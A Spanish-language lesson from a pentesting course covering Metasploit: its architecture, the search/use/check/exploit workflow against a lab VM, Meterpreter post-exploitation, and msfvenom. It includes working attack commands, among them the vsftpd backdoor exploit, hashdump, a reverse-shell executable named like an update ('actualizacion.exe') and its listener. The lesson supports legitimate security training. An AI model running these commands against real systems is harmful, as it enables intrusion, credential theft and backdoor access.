Con Kali instalado y un laboratorio aislado donde practicar (07-01), abrimos la primera gran herramienta de su maletín. Durante la auditoría de TechNova S.L. recurrimos a Metasploit varias veces: en el Módulo 4 lo usamos para explotar un servicio de red vulnerable en la 10.10.10.0/24, y en el Módulo 5 su payload Meterpreter nos dio la consola con la que hicimos post-explotación, pivoting y escalada. Lo usamos de pasada, centrados en el método. Ahora toca dominarlo a fondo.
Esta lección desglosa la arquitectura de Metasploit (msfconsole, los tipos de módulo, Meterpreter, msfvenom, la base de datos y los workspaces), su flujo de trabajo canónico —search → use → options → run— aplicado de forma responsable contra el laboratorio de TechNova, el uso de Meterpreter para la post-explotación, y su integración con la base de datos y con Nmap. Como toda herramienta ofensiva, Metasploit solo se usa contra objetivos autorizados o tu propio laboratorio, y con control del impacto: verás por qué check antes de exploit es una costumbre profesional.
Contenido
- Qué es Metasploit y sus ediciones
- Arquitectura: msfconsole, módulos y base de datos
- Tipos de módulo
- El flujo de trabajo: search → use → options → run
- Ejemplo responsable contra el laboratorio de TechNova
- Meterpreter y post-explotación
- msfvenom: generación de payloads
- Integración con Nmap y la base de datos
- Errores Comunes y Consejos
- Ejercicios
- Conclusión
- Qué es Metasploit y sus ediciones
Metasploit Framework es una plataforma de código abierto (Rapid7) para desarrollar, probar y ejecutar exploits. Su gran aporte es la estandarización: cientos de exploits, payloads y módulos auxiliares comparten la misma interfaz, de modo que aprender el flujo una vez te sirve para todos.
| Edición | Coste | Interfaz | Uso típico |
|---|---|---|---|
| Framework | Gratuita, open source | CLI (msfconsole) |
La que usamos; base de todo |
| Pro | Comercial | Web + automatización | Equipos, campañas grandes, reporting |
En Kali viene preinstalado el Framework. Todo lo de esta lección se hace con msfconsole, la consola interactiva.
- Arquitectura: msfconsole, módulos y base de datos
Metasploit se organiza en torno a una consola que carga módulos y se apoya en una base de datos para recordar el trabajo.
flowchart TD
A[msfconsole - consola interactiva] --> B[Modulos]
B --> B1[exploit]
B --> B2[payload]
B --> B3[auxiliary]
B --> B4[post]
B --> B5[encoder / nop]
A --> C[Base de datos PostgreSQL]
C --> C1[workspaces: hosts, servicios, credenciales, loot]
A --> D[msfvenom - generador de payloads standalone]
B2 --> E[Meterpreter - payload avanzado post-explotacion]
- msfconsole: la interfaz principal. Desde ella buscas, configuras y lanzas módulos.
- Base de datos (PostgreSQL): guarda hosts, puertos, servicios, vulnerabilidades y credenciales descubiertas. Los workspaces separan por proyecto (un workspace
technovapara no mezclar clientes). - msfvenom: herramienta aparte para generar payloads independientes (un ejecutable, un script).
Arrancar la base de datos y crear el workspace del engagement:
msf6 > workspace -a technova # crea y entra en un workspace del proyecto
msf6 > db_status # confirma que la BBDD esta conectadaTrabajar en un workspace por cliente es una buena práctica de organización que enlaza directamente con la documentación del Módulo 6: todo lo que Metasploit descubre queda registrado y exportable.
- Tipos de módulo
Entender los cinco tipos de módulo es entender Metasploit.
| Tipo | Qué hace | Ejemplo |
|---|---|---|
| exploit | Aprovecha una vulnerabilidad concreta | exploit/multi/http/... |
| payload | Código que se ejecuta tras explotar (la "carga") | meterpreter/reverse_tcp |
| auxiliary | Tareas sin explotación: escaneo, fuzzing, brute force, DoS | auxiliary/scanner/... |
| post | Acciones tras el compromiso (recolección, pivoting) | post/multi/gather/... |
| encoder / nop | Codifican/ajustan el payload (evasión, alineación) | x86/shikata_ga_nai |
Relación clave: un exploit abre la puerta y entrega un payload; el payload más potente es Meterpreter; después usas módulos post. Los auxiliary son navaja suiza y no siempre implican explotar (muchos solo escanean o comprueban).
- El flujo de trabajo: search → use → options → run
El flujo canónico de Metasploit tiene siempre la misma forma. Domina estos cinco pasos y sabrás usar cualquier módulo.
- search — localizar el módulo adecuado.
- use — seleccionarlo.
- options / info — ver qué necesita.
- set — configurar objetivo, payload y parámetros.
- check / run (exploit) — verificar y ejecutar.
msf6 > search vsftpd # 1. buscar por servicio/CVE/nombre
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor # 2. seleccionar
msf6 exploit(...) > options # 3. ver parametros requeridos
msf6 exploit(...) > set RHOSTS 10.10.10.20 # 4. objetivo AUTORIZADO (mi lab)
msf6 exploit(...) > check # 5a. verificar SIN explotar (si el modulo lo soporta)
msf6 exploit(...) > exploit # 5b. lanzarLos comandos RHOSTS (objetivo remoto), LHOST/LPORT (tu Kali, adonde vuelve la conexión) y payload son los parámetros que más configurarás. info muestra la descripción completa, el CVE y las opciones del módulo.
Uso responsable — check antes de exploit: muchos exploits ofrecen check, que comprueba si el objetivo es vulnerable sin llegar a explotarlo. Es la opción prudente: confirma el diagnóstico con el mínimo impacto, algo esencial en un engagement real donde un exploit puede tumbar un servicio en producción. Primero check; solo si procede y está autorizado, exploit.
- Ejemplo responsable contra el laboratorio de TechNova
Reproducimos, contra una VM de nuestro laboratorio que simula un servidor de TechNova, el tipo de explotación de red del Módulo 4. La VM víctima tiene la IP 10.10.10.20 y Kali 10.10.10.5.
msf6 > workspace technova
msf6 > db_nmap -sV 10.10.10.20 # Nmap desde Metasploit; guarda todo en la BBDD
msf6 > search name:vsftpd type:exploit
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(vsftpd_234_backdoor) > set RHOSTS 10.10.10.20
msf6 exploit(vsftpd_234_backdoor) > check # confirmar vulnerabilidad
[+] 10.10.10.20:21 - The target is vulnerable.
msf6 exploit(vsftpd_234_backdoor) > exploit
[*] Command shell session 1 openedQué acaba de pasar, paso a paso:
db_nmapejecuta Nmap y vuelca los resultados en la base de datos del workspace: hosts y servicios quedan registrados sin escribir nada a mano.searchcon filtros (name:,type:) acota entre miles de módulos.checkconfirma que la VM es vulnerable antes de tocarla.exploitlanza el módulo y abre una sesión.
Todo esto es legal porque 10.10.10.20 es una máquina tuya en la red host-only del laboratorio. Contra un sistema real, harían falta autorización por escrito y control del impacto.
- Meterpreter y post-explotación
Meterpreter es el payload estrella de Metasploit: una consola avanzada que vive en memoria del proceso comprometido, cifra su comunicación y ofrece decenas de comandos de post-explotación sin escribir binarios al disco. Es lo que usamos en el Módulo 5.
Para obtenerlo, se elige como payload antes de explotar:
msf6 exploit(...) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(...) > set LHOST 10.10.10.5 # mi Kali: aqui vuelve la sesion
msf6 exploit(...) > set LPORT 4444
msf6 exploit(...) > exploit
meterpreter >Comandos habituales de Meterpreter y su función:
| Comando | Qué hace |
|---|---|
sysinfo |
Información del sistema comprometido |
getuid |
Con qué usuario se ejecuta la sesión |
getsystem |
Intento de escalada a SYSTEM (Windows) |
hashdump |
Vuelca hashes de contraseñas (para John/Hashcat, Mód. 4) |
download / upload |
Exfiltrar/subir ficheros |
portfwd / run autoroute |
Pivoting hacia redes internas (Mód. 5) |
background |
Deja la sesión en segundo plano sin cerrarla |
reverse_tcp significa que la víctima se conecta hacia ti (por eso configuras LHOST/LPORT), lo que suele atravesar mejor firewalls de salida que una conexión directa. Con la sesión en background puedes lanzar módulos post o pivotar hacia otras subredes, tal como hicimos en la 10.10.10.0/24.
- msfvenom: generación de payloads
msfvenom genera payloads independientes (un .exe, un .elf, un script) para escenarios donde no hay un exploit remoto directo: por ejemplo, un fichero que se entrega en un ejercicio de ingeniería social autorizado. Combina en una sola herramienta la generación y la codificación.
# Payload Meterpreter para Windows, en un ejecutable, que vuelve a mi Kali del lab
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.10.5 LPORT=4444 \
-f exe -o /tmp/actualizacion.exe-pselecciona el payload;LHOST/LPORTindican adónde vuelve la sesión.-f exedefine el formato de salida;-oel fichero.
Para recibir la sesión que genere ese payload, se levanta un listener con el módulo multi/handler:
msf6 > use exploit/multi/handler
msf6 > set payload windows/meterpreter/reverse_tcp
msf6 > set LHOST 10.10.10.5
msf6 > set LPORT 4444
msf6 > runUso responsable: un binario así solo se ejecuta en tu laboratorio o en un ejercicio con alcance autorizado y consentimiento explícito. Fuera de ahí, distribuir un payload es actividad maliciosa. Contrapartida defensiva: los antivirus/EDR detectan payloads de msfvenom sin ofuscar; entender esto ayuda al equipo azul a afinar sus reglas de detección.
- Integración con Nmap y la base de datos
La fuerza de Metasploit en un engagement largo es que recuerda. Con la base de datos activa:
msf6 > db_nmap -sV -p- 10.10.10.0/24 # escanea e importa todo al workspace
msf6 > hosts # lista los hosts descubiertos
msf6 > services # lista puertos/servicios
msf6 > vulns # vulnerabilidades asociadas
msf6 > creds # credenciales recolectadas
msf6 > loot # datos exfiltrados (hashes, ficheros)También puedes importar un escaneo hecho fuera con db_import escaneo.xml (Nmap con -oX). Toda esa información —hosts, servicios, credenciales, loot— es exactamente la que alimenta la documentación de hallazgos del Módulo 6: exportable, ordenada por workspace y trazable. Metasploit no es solo un lanzador de exploits; es también un cuaderno de campo del engagement.
Errores Comunes y Consejos
- Lanzar
exploitsincheck. Un exploit puede tumbar un servicio real. Verifica primero conchecky controla el impacto. - Confundir LHOST y RHOST.
RHOSTSes el objetivo;LHOSTes tu Kali (adonde vuelve la sesión). Invertirlos hace que el exploit "no funcione" sin causa aparente. - Trabajar sin base de datos ni workspace. Pierdes la trazabilidad y mezclas clientes. Ejecuta
msfdb inity crea un workspace por engagement. - Payload incompatible con el objetivo. Un payload Windows contra un Linux no abrirá sesión. Ajusta el payload a la plataforma (
options/show payloads). - Usar msfvenom fuera del laboratorio. Distribuir payloads sin autorización es actividad maliciosa. Restríngelo a tu lab o a un scope firmado.
- Consejo: usa
infoycheckcomo reflejo antes de cadaexploit. Leer qué hace un módulo y confirmar que el objetivo es vulnerable es la diferencia entre un profesional y quien dispara a ciegas.
Ejercicios
Ejercicio 1. En tu laboratorio tienes una VM víctima en 10.10.10.20 y Kali en 10.10.10.5. Escribe la secuencia completa de msfconsole para: crear un workspace technova, escanear la víctima importando el resultado a la BBDD, buscar un exploit para el servicio vulnerable, verificar que es explotable y, si lo es, lanzarlo. Indica qué parámetros configuras.
Ejercicio 2. Explica la diferencia entre un módulo exploit, uno auxiliary y uno post, y da un ejemplo de cuándo usarías cada uno durante la auditoría de TechNova.
Ejercicio 3. Quieres generar con msfvenom un ejecutable Windows que te devuelva una sesión Meterpreter a tu Kali del laboratorio. Escribe el comando de generación y los comandos para levantar el listener que reciba la sesión. Añade una frase sobre por qué esto solo es legítimo en tu laboratorio.
Soluciones
Solución 1.
msf6 > workspace -a technova
msf6 > db_nmap -sV 10.10.10.20
msf6 > search type:exploit name:<servicio>
msf6 > use exploit/<ruta_del_modulo>
msf6 exploit(...) > set RHOSTS 10.10.10.20
msf6 exploit(...) > check
msf6 exploit(...) > exploitConfiguro RHOSTS con el objetivo autorizado (mi VM). Si el exploit devuelve una shell reversa, también fijaría LHOST 10.10.10.5 y LPORT. db_nmap guarda hosts y servicios en el workspace, y check confirma la vulnerabilidad antes de explotar, controlando el impacto.
Solución 2. Un exploit aprovecha una vulnerabilidad para lograr acceso (p. ej., explotar el servicio de red vulnerable de la VM de TechNova). Un auxiliary hace tareas sin explotar: escanear puertos, fuzzear o probar credenciales (p. ej., un scanner para enumerar servicios). Un post actúa después del compromiso, con una sesión ya abierta: recolectar información, volcar hashes o preparar el pivoting hacia la 10.10.10.0/24. En orden temporal del engagement: primero auxiliary/recon, luego exploit, luego post.
Solución 3.
msf6 > use exploit/multi/handler
msf6 > set payload windows/meterpreter/reverse_tcp
msf6 > set LHOST 10.10.10.5
msf6 > set LPORT 4444
msf6 > runSolo es legítimo en mi laboratorio (o bajo un scope autorizado por escrito con consentimiento explícito) porque generar y ejecutar un payload que abre una puerta trasera en otro sistema sin permiso es una acción maliciosa e ilegal.
Conclusión
Metasploit es mucho más que un lanzador de exploits: es un framework con una arquitectura coherente —msfconsole, cinco tipos de módulo, Meterpreter, msfvenom y una base de datos con workspaces— que estandariza todo el trabajo ofensivo bajo un mismo flujo: search → use → options → check → run. Vimos ese flujo aplicado de forma responsable contra el laboratorio de TechNova, cómo Meterpreter habilita la post-explotación que hicimos en el Módulo 5, cómo msfvenom genera payloads independientes y cómo la integración con Nmap y la base de datos convierte a Metasploit en el cuaderno de campo del engagement, alimentando directamente el reporte del Módulo 6. Y una costumbre que lo resume todo: check antes de exploit, porque el control del impacto es tan profesional como el éxito del ataque.
Dominado el framework de explotación de red y sistemas, cambiamos de terreno. La tienda tienda.technova.lab era una aplicación web, y para auditarla a fondo hace falta un instrumento distinto: un proxy de interceptación. En la siguiente lección estudiamos el estándar del sector, Burp Suite.
Curso de Pentesting: Técnicas de Pruebas de Penetración
Módulo 1: Introducción al Pentesting
- ¿Qué es el Pentesting?
- Tipos de Pentesting
- Fases del Pentesting
- Ética y Legalidad en el Pentesting
- Metodologías y Estándares del Sector
Módulo 2: Reconocimiento y Recolección de Información
- Reconocimiento Pasivo
- Reconocimiento Activo
- Herramientas de Recolección de Información
- OSINT y Análisis de la Superficie de Ataque
Módulo 3: Escaneo y Enumeración
Módulo 4: Explotación de Vulnerabilidades
- Introducción a la Explotación
- Explotación de Vulnerabilidades Web
- Explotación de Vulnerabilidades de Red
- Explotación de Vulnerabilidades de Sistemas
- Ataques a Contraseñas y Autenticación
Módulo 5: Post-Explotación
- Escalada de Privilegios
- Mantenimiento del Acceso
- Pivoting y Movimiento Lateral
- Cobertura de Huellas y Anti-Forense
Módulo 6: Reporte y Remediación
- Documentación de Hallazgos
- Clasificación de Riesgos y CVSS
- Recomendaciones de Remediación
- Presentación de Resultados
